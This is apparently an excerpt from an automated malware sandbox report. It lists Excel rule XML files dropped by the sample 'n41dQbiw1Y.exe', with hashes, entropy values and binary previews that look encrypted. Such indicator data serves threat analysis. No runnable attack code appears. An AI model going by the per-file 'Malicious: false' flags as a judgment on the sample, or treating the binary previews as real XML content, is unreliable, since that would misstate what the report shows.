Preview:	<?xml7$...W..q...,Vv7......Q-.~..4.X..].7Kr...c..sW..\|........(.m.E.(H.x..(.-o.....7......o..KkhH.X........~[8.C.a.)..Hn....;.B3V.$....C...q.KM....@..p.0M[UN.v}..0.,...'.wAe....(s..`.)EZ........[JDZSN..kA3..`..+.7..`..lF..;.s.P)-P......SW...P...9.F2..........O.....P'..j.......g.....R....'...B....D8L,..i.....;.....r...[d..hM0.Hd....1....R;D.k.%=W..ha...FP.w.HE...Q(fZ... .O..ia...M.9]~.z..3...hF...%.[....B]....3.W$.]..2.1.#.....bF..b......NM..9..E.R(n.g.:Iz...=p ..A.....(..?F.......k+........T.P.~.....Q5_l........,..9.....)...9!...t.).........N..L......N)....e.i.T...~KtO.................v)....YrTkQ..ol.%......y#J.......t.:aS.C.1..........SL(..W....eV.B..k.. .)....$....>.!?.....J._.F{.l.9.i".....h2........CX..PZ...'..:n.-E....E..5.#\|..[Bo.~..4;_.(..D.D.P.....v.........:.bm.k.B..R..y.i`<.Zf.J.....;...&........Q\|......~...-.....{.N..../...!z-....8.._.3.4.....A.2W......}..-.k...+;..di...d.......,...F.....k....I....Q.G.Xh@....N..##..p.N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.744043495247479
Encrypted:	false
SSDEEP:	12:BxRbyvPC0DIw7Rr0AYWCLyJyZq5CrZhtCl+BReoKR5TtgNwAKp1dCTUZIIOvTYcq:7R+Bz50b2y4SCl+soiENwAI17ZITvMbD
MD5:	E0790877A355903CC357E40BD88F1812
SHA1:	CEEC47AD1B42DF91463D6411DA2EDC657EF80CA6
SHA-256:	54BF9D170880121031420B0693AB06B27CA2F81B9C6EE7FE896793E96CE9CBB0
SHA-512:	ABE85DCED87CABE1604B7D15396C7D5D31B977801B463CB61646FF5C74F44A62B2DB54248A51FD6783A8804C1DE16104006160E679F48DD49DF571AFD53186F6
Malicious:	false
Preview:	<?xml?.I.A......hT.B.$.t.......X.I.t..Y.`...._[......D8.de...?G........!d....W(.K.\i..i....W......T......L.`....W.\|q..NJ..a%.\|....])=> `.O.....6.'.G..o.......G/i....P..m.~1g!:+......Zq..!J.Z..E.&.~{~...O...;.q}(.I.........).......6.rd... ]..16..k.?..Sv..w....#._.zi......!C.a...<n.){...J..i.r.'.{-+..9G..!..TQ.$....E$....5~PS 19[...Z..L......f.....Z....%ssT...UV.W..,F..HXt.-..}"8......(..'e..>7._.P.+...O....C`..K..{....m...........AR.>.QM=....6Q.^v..s..K./f?+.]^.K.....L...P{..y\...&JaW.\|.x..7.".......=.....=.G]..Lu......<..d.\,.:.b....F..a....x7j......k.G..:.s.\.".c..-...,...x....W. ...A.q.r...^!...16/.2..<...`d.........~9....Q....U.e.N%..1V...(.s j.;....m.-..Uj...............9$C.q.c.........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.912090875810613
Encrypted:	false
SSDEEP:	48:k32ga1s2L8VkI9fGvcd/pLLhOz+IEQHrgLZV16Ubf1/V10DD:k32r1kL9fGv+/pL0FLgLZ/DR/U
MD5:	3C13E6A0F75A67B520C86D0A913DCDAC
SHA1:	DFCF7FF03100F6506195F945A106B0B79D7AA13D
SHA-256:	ABFD642EBD300F00D7146BA3F73D24548BE2977DC1CC2F07FEE1BB75890C1F33
SHA-512:	CBCD3BB141CA874E2091DF48D09D256F50E6C1BA252C5A0792FD4056B72BCF93EC553D2FD9E98564829974DB37D706FC5FF3F127A60685F2B919954DEC27D8CF
Malicious:	false
Preview:	<?xml....~S..ms..g~/.D..i8....`.?.c7.....v.C0.....@^Kj.......R.'..}(e\|.+.E~.QV.....7)j..1.g...u....).....1.et.H..\|%.3U.BZxlg..".....Y..(..3+..=t...z=..lL<.b.....(0......=(..Hn.....8.P.h.."...'........$....(7.$. S.O....9....d..p.T.;9.)r].......hw.D......A..y.t7<)F..:.Z......$5L..7.y.3.H.Ss....-.^.X_..W....v..........T;..Q..m..I..j:l.do.q..$.-X....g..z8.q...=~..._-p......W..1..#..IS..B.6Q.D.....7R.6.$`4.....{...q..1c......L....]..MQ.."Ts..\|.!...+..A.wA"...F4l\ .?.... ......h...Xvu.,.x......._......<.;..4..L.?...N..Q...W..../..N.2.......U..A+...}.v.>...w.i%....b.L.T.E.0.........3...T.:..K.....p.I.I...':....$b_.U.M.).i....U......D..&s.....2...GN...q.5$.uw....C....5..Ez.h..FC..s0.Y....<...0?:..dJ'{.6...Ru-..-.7Y..e&..lLU....8.B"..`I......B..Ph.e..k5..o....~@?Rz.$m.....:JJ1R.N.m..*.Qk..c..V....ay...n........]..B..S.i.F.....\|$.?.....6\|...%.V.qcn.p..X....0e+oZ...@t^....F.. .:..A.......W..}.A^._.............%F..V....r..TN....y ...+.5 -h.....dq.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.85041299371911
Encrypted:	false
SSDEEP:	24:F6W/DJ1AWAqGwL+1pucihE3rF/0Lsh9EGx0vekc2e92HKPSYSRtoDqj5bD:F6K1AWxNL+1putq50gnEQgcl90KqYC0u
MD5:	9899F3F253D45CEB09F5EEF031FF6339
SHA1:	826ACE7FD2BF9017BAAE836A249F8A6866C36FAE
SHA-256:	06C3CF7C76B8593B2B4B14B054ED43812B15FC6C5CA1DC74671EE23D29E70010
SHA-512:	56EE595D30A8936FA9C3D8CA0034E2CEE78BC015B24F2AD50C55EA2C5419517A29F8653D7D50710622DE250F04ABCCB5C535DE108005C6F88607D9D1CF56F7B8
Malicious:	false
Preview:	<?xmlVll..(5...\| 3`O......z.b.?..?.)..=.r4V..Q....,>..w....j..UZ.i..l.`...I...Q....GO(.,.x c...Xk5..f......0..npO.!..R.._.p..p...7.C.4....fp...k..A.x.f\L..HN.........,.....!.i...<x....l..xM@...&...E.k_F:W.x.......=.....m.w{.?......e.wbry.n4.d.b.pn7..3.&l..#H.a.!...:....\f..)5.v...?.Ie....].Z.}.J.R.".%\|..'........+.'..mL...i[W.u./...N...8...M...(......?.0........{.Y&..z.B......\.R..._\|.tm^K.x.{....N.5....[c.t....2)....#m..s.L.?.6.....\|....l.}..X..Gpr..{....K...d.W.g...l.mS(.\|=OL...)k.U......\|.."Rj..o..^o18F...H'.._/5..ul.Lc5...xL...K.....(..,nG4.j..j...sd..]..=........P.........m.$...;B...,.>.p.t.....Z.....T..H...U.AuRp.....p.9d~.!.b......{+^.x..Q.9.]]h.%.%..hl.n....{N....SFv...lB.w.W..q....Cy$2./..Q..U3>[.ys....m..3...V.dD@..E.)...B.A...4..wr...v...fsm.`'....6b..K..!..r..:..}...3...b).c.m.'..H..W.MX.Z?LlI\|.3..eVA..!$....Ji..l.O....;.h.v.mr...$....bc.{.....v.C{!...z!.].O.'..1.!.K.../..LP.R.....E.a.........7..oS).4..@./.nz..c4Z?...7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.942543187865051
Encrypted:	false
SSDEEP:	48:O6IqRUc4LdC3Eo9dZTH1NVhVctKjg+0ykaWs+UlaimPrppMzariCM6b27bH19vS7:4IUutXZ7QKj90lImP8++b427bH1VO
MD5:	7AE7D690C1A6302A919F8480706F69E6
SHA1:	A628896825AA4B11982111F5C7C857934FBE11C1
SHA-256:	251EA1A6F627EA45743514CF920E8D27E8EB2A6E467F83D0D0894409C20257F4
SHA-512:	FB032FBF6F2097626F4D231D2DD73B2A3705F8DFA6EBD905B99C732CDC6A81DCCAA7F8E5282D1C3DEC92B2C33D0371C9A29DD586CCDA2C2873C88CAFEA486312
Malicious:	false
Preview:	<?xmlB..8.=n.....".....A&...5\r...G_...1$(..M0N^..vM...D..H)G.p+..).......g...r.......X!."U.m..!%.#.'..?0l96.X-].U.. e..K.Qx'...k....9...h...G:.P...^h ......`!.5..r......p...[......Z .2......b].8.K=R...:.@__....y.5.7..0.`%.......h..)u.....%..H.z.j..N6...Ubn..'E..0..n.....-C..K..\|.=..m.N........T8...!iD:...f...._...SX.....c.........'............,r..L.F.0.....T...T.\F....k..".`V@.h8..l.....!.U..N..t....P.9..$..eo.1...!...n..K-'3..p(&..u.9...x.u......x.9..!....B.xAv.L.\|......W...}m(.......<.O8.F._..1..S.x1..{..}@(P...../..\|.h.r.Q..s..h......<cP..,...j......!b..:.F .N...x...].Z...m..x...d...".U..!..BnTh`.-W5zQ.6..1qU. .gt.O...).\|...A$...{.I....w..3...jV.s.b..$.Z..g....$*R.<..9[..=.m%/...}C'.^..{..j.....#..".D91.".=n.5...?#"...u.....=.u..@....V+T.[....l.s1.Y9H.(\...<...KA....tcA"@..B$"..a-/SR...`..cV..O.Rs...u..k.LeY]}...<R..C..\......'..:}&!y...>.J_.......R.[.............l...Tf..- .V..e....C....v..F7~{F..'.m.....o.j......G.5=.F%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.909616906563256
Encrypted:	false
SSDEEP:	48:pPW4cBilJsSY5V6ymirSENC1ddphzUOyPBPx/SZqD:pPW4hsS8ziFhobSs
MD5:	355AB3A17C109009952CF3E57D261F80
SHA1:	125F2F541B84F616618236A0817A8141A84DC0CD
SHA-256:	423E5F48B5FA4210CEE8776474F18580E2AEFAEFA4668C12997B5E471FAB1B84
SHA-512:	98E6B0BFCA0560729CB88F57F5612CDCB1CD6E12B59F7CD390FACF707359B208B198A244331BEA8A890F6BC09D385AEACD26D7701B66D33E0ED912B6702FB50D
Malicious:	false
Preview:	<?xml:.T.\|._:'...>.....^.f-.@..o.......d..U...M_].).a...W...........X.._=k(?......%h.^..p..8.....~....zH...dj]....$......w....}.....y}...H..&...e......6E.......A.}..:....Q......O.ly...B.;....ZF..,.~7.@3...h....(..O&0.e^....9o..r..........._..S...0......P...{...Ak~.....i..lS9V.8r..u...[:S..fB..#.MG.y8..~l...mwbWC)....PT<.m.*..E..T.<-(.4..q^tQA'..NY....p.S......?....Z..@.;...............f(..^...#.Z8.MF.........tH....u\|....H....i..[..~....jq.lt.UHa!(..1r>....!&..N..fV.)....`?........3..a..V.2...&._..J,.......0.3....C.._.1..p...&.B...F..2q..{...$...p..Z;K...7D.).W.\|..q5....6......p`....F..1...0.....B...&.Yv..N...]....:.q..kzs..w)..W,{mq.....a^$he.g...\.q..k....4...{-....m.v.......iB... +.I..m?..../....'.i......?.\...w.=.]..8^5.......cf.b......l....o.2!...O+....;...?.l...!../s.......k..po..UG.3Pk....<..N....M.G...9{)..4?.RWw+.#.CU.p....@.....l.?.U."....V........p8\.......-.n..K....2....X."$(.3b...B..l.C..k.....f.k.r.O..."(..+a.....875{`.k...]..D4nG....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.972702197809569
Encrypted:	false
SSDEEP:	192:+sy+IJ0AzxJ3iHyR+GM6ijf+DQC2NJBtGPEbvqHrGt:+sy/J0sjiyPMJfevEfsED44
MD5:	56C3F1963E9F5FC7F75C2F86D31A36B8
SHA1:	6C882CEF7CA14938C4F87DAA9E1D107DB0DDE0B7
SHA-256:	E86F67FF35001EF1A587B151F97BFFF018603A0F3A17ACF056A005C0355A3674
SHA-512:	4CD7E0FEC20AB09E4D3766A6730E954F29C9986883191984C8F97EDA1F6CCDAE6D1D776383948E0E96DCC821EFCE5E5326CC6D87A99DA6B6D0554FE3ADEFC455
Malicious:	false
Preview:	<?xmlg...Ls(....5j=..X,.~..L...PU.......Hb.HD.J..B...#'{.6..Qds..'.E.x.vUA....q..3a..........X..J..L..L=.:.....N.x.....r...........Y.{...Y.,1.0_L"..P^.f...;..3..y....%h.t Q... ........9\|;..;O@.^...U..............u)f;F6...L...v..........C2#..it\|...p..3..D..u...xk.&M#L....w:x.+..R.i1...2......;{..J=...Vy.)..[N..4..$.U.Z..c...N@..@.=+.......?.d..X..&._..]..q6..7.L5E.[....u.k.(U.O..T'.9&.k.?h.f..".....8z..v.Y.{K..8h...g^=..........}^.....M...y.......y...:....&..Q.x..w.?...r.U.1..z.t.F.....s.K.MB.+T.....]..G.....4....O.\:..0....p........I...@u.2..w3...{......6.....rc)?AR.4o.7.......%Sx{..6..F^A10.[.....%..Z.&....n.U..(8.K...6_*g.s.........\|#JB.v...%...l.bZ[z..f.P..4Q.\.L.lM.3..a.$g7.[.m..?.E..?.r..."....U..X.9>.e.+....rcN.z....&..0Gf...d....X...=...8^.r....5..'.J..gr&...X..N_..y...o....y.#...[.)m..\|.Ga.Ii..4B.1C).s\t..O.YX..:.W......y.T5.......D.0..H.5...stL&....0..4..Gy..s.).o%..;h ..s>.!.q%.m'u.wG..[..w........l...a..... .O3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.948970091801774
Encrypted:	false
SSDEEP:	96:bbyO2YosR9F6PKdWoW8u+wlekjD4bO2Htn0/Qfd5sotP:bGx9mF6idOF8O2HLd5sw
MD5:	17F77E6716500DE792ED132D178F867B
SHA1:	DFE438386F5F84C013CFEFF7723D760B76C83296
SHA-256:	3B06EDA6C2E7ECBD566A3EE92471BDE6E9C8B917E8ABA422C5CCE4786482B314
SHA-512:	3A1A223A05858E8D7F2A236E9B465E8D5C0D3A4CB2E64BB45EE6574631F61B53593FE6B92A6ACC07F3840B317E147FB30735BEA742A193735A799C6A3F32C426
Malicious:	false
Preview:	<?xml..=.......q`.K.z.!......2%5\|.YR:..>..}..]......."..#......(..i..k........`....6.K~.[..=w..NwA....`I..o....J.QDb....}.....b.....3.p.....O...-..\|....e.tT`.=;....M..C.......!^.Jj.1....[.s..Sig.l..........D....M.V2..D3.v?.....<blL...1o..H...l....Y.....H.......'%Fv.D..k..E[..]d..F...f\|. ...P..#..Y.M+FXLSZ......L...a_O.XG&P...mpY.S..\^O......9...._aJ\..r?..7.U"G..yJ...)>.!^.#;...d...M...2...x........_.Y!q..!..s;Dj....S.3..>.4...Q....S.g.9{..Pl..FMT....bO..A.dK.T$\.ms. Z.=.c".(PHx.....{.....O...b.i...@...P.).!...s.@..#..f....2...\|..[B'...szn..X..\|K.S.~.ri...z`.....l.k.....I..(v..f.T+...ur.~.n.:.g.~#.Q...'-.fxc.......p.......}...v<..y..}..H.st...AbXI.............T...W...U....\w.<...N.8Q.2.2......k!..O.>ef...o.K(...H....#......z..I..E[..1.mfwv...4..e...O}..._.h.........x.:.7......t6......WW.)..G.......+.e2.Gw.....O...w*..#Ya.-......zv.6.t.3d......\|......N.+... .@..,..E......H..C4b\^..b...Z.....80K'..Q..h.!..$M..{Pi{.%...F$.A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.962904136582261
Encrypted:	false
SSDEEP:	96:jrqt+N/3sTUML0s1YGb8jUlHH3Ya6oLBRQVeJtVW+fePyj6TPBxcrjNEqah/wa7:jrqtegJL06Db8QlHH3YJo3QVWtJ2aj6R
MD5:	9ECA0E458DA0E2EB4B8433E532F1A765
SHA1:	3340F3F27E580941BE5018735BCB89208E81F1B8
SHA-256:	0E566BE6F766CC2BBE8CFF5F3508100889D99D7BB48F578C03779335C0909423
SHA-512:	5CB494FB6E96088B15C75902EB611E88E86E3CECFB7B07D8B489136A2F43A093CC6197EA96341D65E18656732C4C5677629FEADBEB15EEEB83279BD1D4DACA3A
Malicious:	false
Preview:	<?xmlt....]....q1p..pN.a.BF.?P...CW8.)..8......[.2.. ..5N......q.Cz.cmc..fme...M...T]2.Wl.G.'q..J..1..x.L-.>.iH\....1C/.aq.J...z.b..8.Lv...-.a_\|W.8D...<Z~S~.."..K?M..jWg.p.....\^..D..o.}..[,I07..\.~....R..Jo..\.fJ..vS.2X._.0..0m.m......K..i.'.......Bx{.....?.Z.x...{+.M.uW.^.:fw.. r...p.....?.......o9x..c}o....z=.....".C+U.a.hK......._.b3.....bM..........V.q}..M.t8......ZR....$.._Y.n..l.8P....x.'@...c-.?..r.5h....H`.... j.\|.l,G..$.t=WA..t{7R7.P...d#.....-..+....KI.P....cJJ<G..n....d.;........L{..:....[.=.........[an.Uj.m...ER..pznL.L9L....Y.y......j.3@x........%..$.;.... ).i..l8.......].jj`.VP.S...N-].F.9........~E..f..9.q."w...g.@.K..5.4f.+z.bI.... Zf."K...b.......g-.[[.}3../e....F=C[`..:T~...(t}.dB..(c.N..N.....5...y...S.^......TmT.h;%...Y.=W..4...Y.[d!.iUc..Z..$....]..9.HlU.ju4b....F....b..&<...q.P...oX.t.....R...?1.g)..H....,a-=5N..<r..4..nQ.N..p.....'.(A........{....%t.+L5.o8.:...DB......Q7m.G...'H>.E o..%...{.7.E....W..1.")1 Ap\|........]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.938648493653829
Encrypted:	false
SSDEEP:	48:aM8d/mHAdPdLgq4VhbWlm1aa2F4EmUOJ0cqIKEi1E+AA7pNdHUT2iICbeXI5yFD:78lbdPdLz4VhbWlmgaHEc5lKLVplUT25
MD5:	EC021130F90175B92DCBEF82FF64ECE6
SHA1:	4EAA6F8A42B27FC92837455560545200A451821E
SHA-256:	07C19FA1E543CCDA43E6A524C117A3DC5A3308931FC85DA99280E81C79A91FB3
SHA-512:	4CDD88248EFB4033808B1D93FE0FC4DC7141059E2FD9AA99741DB0AAC53899D82F8598ED3480E71BAD57872C81E54B810A27F48A48FFABF69D3B7445DED288E3
Malicious:	false
Preview:	<?xml+.a....%.....?VQV.%8#.6..H.JFX...E:....s...3u:=..;.q<.}...L.Bt...!4X-.q.3.".p...MQH..)...VS..5....%71]7..\|.a..w.....sz.j.4o..O..o6.@.;..&Y...8....!..(q..r.......cJ.hy.".aSm!I....n......q..1:.)..v]k......}..G7..a7s93..C.&....l.L..[.V..#..r..&..f....N.).....O...@.zY......X)...{..AG....B..=\35M..........P..m.K.[$^q......%......>~w...v..6.r......h..Yd.x..z..U....i.....E.`.T.. $...j#}+.D..m0g.B..w......x.....2....;.R..\|.+..B..rU.........lE+.;J.1{...&/.....p.....2........h6(tv...,/r..B.mQ.....(i.G3..&....22.&.-G.}a..[....8./J.5.....>.]..}3...;.S.8.T.^...U.Z....I...6.T.. ......`.....[.Z_........x.7....Z...K.w.'..L.).;..(\|@p.J.4....).6......mH..)...^..Q..3..+.e..>.. .F..ov...H..z.yka.....K.7.z.t...;..<..IV.......f\|`..G..B.sX.O...].}.4...........s..}..}.1..KT]v[.`g..."=..7.t..X..wQ.-.`Kp..FORY...m,.w...n.d$$..?r.m........Y.o....}k....+.:V7....;5G.9.Z@J......~....H......%..q\|4....C9..E...l.v.J_.*.W.q.K......r..f5?,`.EN.-.nSRH$......l.......v%.I@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.97435642915001
Encrypted:	false
SSDEEP:	96:x1InwH/2CKgm5ErVrOwN+qB+VM7jJcMCxigGsvOv+GgBEUWiIaTStMh4MLJui:x+7pgjt06NJcMCxiWnKqTSt04MLJX
MD5:	B0DB9187AC420AB29092B0ADC3862867
SHA1:	948A654503218A3E21BFC00ED2BB61B103F1756C
SHA-256:	C8BD6D380A3032EFF0306FC9A792AB61FABFA573FF026C0945FD12910E15EBB9
SHA-512:	D76D46FD78B0ED7C0C79E43F706FE47AA79716CDBC291447059AFD139C2F3B3192022230A798CCB4869406BA6BF99AF8E17F5573DE8360E9257979EB76C3B2B5
Malicious:	false
Preview:	<?xmlT....o...:.dr...V.......N>.....d..f..I.B.G../}n....%..M~X.?."....)...&..........]z...7...iR.u....9..M.8.U..r...~b..TwE;...W.......Y.e.}UH/.x..........\.t."...(...sV'..s..HZ..)..WYs`..<.....~.PF..,..r>~..=`>.....\.".e.M..6..~N..5.v~......P...x!&3d..1BI......OC_........F(G.T..K..s..t...-.<AJ.c.U.9.p...R......l:....9....h89..U:&.....,oU.w...sLj....6p.y..Y..{T..d.:.. .....v..;...0.I........9.{.jM.........i...b..........0.......^...O...%:U.\D....z..*.x.u.v4 .q......H..$Z.j[....~..".....!%..J....U...:.~..:.u....a.!.Lc..._I..P..f.8.......K..u.7........6./..K...\|m.......'i...S...o ..x.........J.i.W...DDa...:.CW..a..u...%\7. .Q..VK..rhg.>-.;..F..}..A....k.o.s.].~...f.'..T...q]co.....$....p.%..c.L....,..Z/n0....oL........ ...1[.G......t.H.. x....5.....smx...H.i&..P...m..(.G5......).p._....9.=....to.'.,.....2^rr.&.P.k....o."<..1...+../jc~.A<V..#qv.....vgCb...5bi.h....N.D....S5... \|>.yN..l....t..1..\|.DzY..Lc=.g5)._..m.i......c..,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.898283317267506
Encrypted:	false
SSDEEP:	48:rpAeMm6pY3zk4nLdkZsMWIFg3ErPSEIUAnsNv9HTD:rpAppY3o4nLs1WIF5DSELAsNv9f
MD5:	28EC574848E07929E5F004C478C3880F
SHA1:	A557474E42932DE4B6F1B9EA4F914AA774DBA163
SHA-256:	4EF9E16F74E4FD2E91EE919E1C069D9FD8F50484C980FEA503372D2FCDBCDE4A
SHA-512:	D7263743E493D1FA50C5BF360ACB43284244A10B53700C165CA1D78021EA60A4C9A49ADDFCA0287B7291980DAD946C8344B9312747CFA5D3F182C63D748810B9
Malicious:	false
Preview:	<?xml..zJ...i<o...c.3dG...o.`..d.d..{...~.c....@.M.?...%..e......8YF....^Q.^S.c.W.!>.'.B..9..A..N.Z..x.8.\$KQ...T...\+....cs..j.d.o...+F+...._2..y..,.c3s$....E1.....Jk...W..v.....9z...........P..t.a7P.L. EA..2.PgR..z.U..J.=.~.Q.....4.M.M....R.s>....aP-%.6....Yv./..n...M......Pz>o..6RBHL.Iu]..7.B@.......!.">..uQ.xP.......b..oM`G~eZ.9...l >.8=NhMi........\..N.....2{...!. ._...(iV:0../f^i3..x..7.p..#u./......s.x..0........./.r._A..;@..0.W.e...(...... ...eL.".....ad.[...2_['...s%..#.P.R...^.+.k>{1["..\|1.:%S./.......`.o_....As.y}C.h\|V/kC.....\.....D.w...z..%e5.".\.S.x.Z..3...r~8..P.P......~hq.x..;..).#3 L..h.].1q>k.8....53.3..@cB.i..3BN.o..9D.>..#.b..2.w..l.u..F....X..j....p....WI=...pQ........gt$.$.o3.Z\..%.J....Ws5."-X...Qh.F:..-.....\|..D....v......n........c..y...>V...qx..ddu.....T..V[...HB..o..XD(.R...s..L....{.........r....b..z%.o.].r....e}g.r.q.(.'.$.%A.q9t.\.`..H.BV_V..V.}..5...+v.b@..\|..H.....d...U....}.....s.C.+.L6.<y!K/.......md.z2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.7608822179076355
Encrypted:	false
SSDEEP:	24:f5/vo9iYu/q32vCIkomAmWsjSAWYdLVROq3jSUfveEbD:f5o9/uC35DD22NOqT5hD
MD5:	719F02419ABF192F27FF0F17599B7D13
SHA1:	560C20412A4EB023EB70C3862F626AEADCBC52E1
SHA-256:	AB030A1CA72B7E3EB9E9057264E2DA85E522F759ADC87BCFEB0227E2E45E6AFB
SHA-512:	353F2EAB19079A0DCC8AE4EA5C1757FDD51EA7C1C59A43F65428A4BFF30EE334F2792C6BC0B0DFE26DA31130E6AA07911DD6E4D0EA1AFC98531BEB982F898AB4
Malicious:	false
Preview:	<?xmlG...W.V`%.,.7A..c.v* (.J.ueNx.\...Hob..H.S......N\}...HvmX.G..R..\|.d...O.W&C..".aH.s..`f26.E.#.+.@}r.....?..?.,.........&..r...vX@JZ..TA.. .p70P.<.N.....5..r..L.v.<L....f....b/....b..FC.%.T.#...g..(.....;.7{..o"...4Z.\|...~".......@.......;J....j.j.x......G.Vn.._...e:[M1-.0,8A.../....k..S..<..D..SR(..1l//..r2..).......D..w!'....3.X..H..(o^.!.g..'.,..kdx...=T.'..T........1..N6..p...4..d...#...S.).E....df...4.g...+S%5..#<.P...c<]....i.....B......... .rGBFg.b.1.Z..'^.S...rEP.".18+..CQ=.v.s-9.....m^s.qu........r.....;.\~...m.GZ.*..4.a.$IL...m.#..i(..V..mj.}.R.{.0..yc.....0.. ,...\|..B..H.dh..j...t.........\|{a....o..wdM %&\|...N0M...km..04.........!..\|....=.\.U$.g..7~..q...c..:..`..s......=~.....Q..8..S...='.(.i.}cO....u..X..........].c.W..b>.c..e...X...6.8/...m....:]S>={..:..6....K.........s"..".pQ9z.J,. ^....DY..l.B.M<8..kc...T..0.....Z....A..u..8......k...8 J?(..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.925852833202463
Encrypted:	false
SSDEEP:	48:Qe34EudYQlCyEt34o07/91tYYEslXnqmjadgGjYOnr3LjD:QO4H6Qctt34o0ZsjsHuqGjYc
MD5:	EF0607D4DF85455FFFBA0C8BA7D879CC
SHA1:	E35E99A7F57B6BCF0B7C080513B808CD7E57E584
SHA-256:	587B7ABCE4A0595AD177CF192A9AFD6B5E3C1791402DE5E1E6C47335EC433049
SHA-512:	150BE46F9D3766F598BD48C39CF440E8B9BF9FE440FE19CEDB3B9A0C9D17817377E290C85D720C465E5F4A4D38029B3118FC394463A2A9E885E315FF18A1C8BD
Malicious:	false
Preview:	<?xmlm$...as.M.oSl7.O...+....h.Y.../A.....`O.k..+...%.UZ@G.....f...3..0.<gAb...X...x....U.k..LW.f..g.l.........2.z.ReW.....W..>..S..+......JF..q.K. ....j./..}.-.....3.?..2...Jx9u......C.....0...........n....\|..Y....^O._.^.d..X$eMOqC..f.be.r.r....j...C.....F.1.#..M.@c$2.....u`...}..4M..8.I.Q.....D..S......Ka.i7~F.d/...v{/........I.G.x..1X%..aXA....c..[...w....Ac.......g?Xz.7X.xi..H.......-R..2h..~..R.a...X..\..4.XN/.......}.G..s^Ba.nT4.Kt...+..WD.....l..+.O1.("..o.X.sn$..X.I.K.6'.[.d.=Q..HP)^q.G..d..^..#q.BT.i.w...af.N.$o...-..T19...S.&v....E.&n....."%....,J.....Y/..a...X..YY.e...H..3.N..{*.b?]4.q...3#i.J.%D.nv.....[O....eyC.L..%.T..IA.....r...$.F.]k..zo..p..<q.s-wpgj.k....m...MM.......I .B.pY..7B..l.H.O....T.d...e..4U...$....z../)\....V...-.6.....G..5....&."z.O.j..lhj....p.W._....U.a.....+.L..7.....o..X:..S...............AC..dEQ..ep-'....?E.Tf..[.....%.}.a...s.l...o........#.+...R....4..../.dK..V...M.2...3.s..i..;..^...:.L{z{.B)..b.lm......^..@......b..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9826512563662915
Encrypted:	false
SSDEEP:	192:NSyypiYiZMCbZoVD39U5vvji04509NBVZVLCpYcCTpq/lo+UnD+dz/Obar:0libOVz+Fi0e0R+YcCTEdo+rdzWbar
MD5:	476650AA16C7BC2A6A0993301BAF7CC2
SHA1:	4300439E9B7CE3C42183257ABBE0569B42AAFB44
SHA-256:	D19CB921F0A6C4FE4F12048EFA4BF9015ED71CE136F5782340DE809706B4AB88
SHA-512:	408F785541DE7C906742A56D715973C262F520605D6B6A19972DF4702D42674EE82BA269A57597764A9E181AEFF5B5197A14889B1305225BFB931D2EBC800E01
Malicious:	false
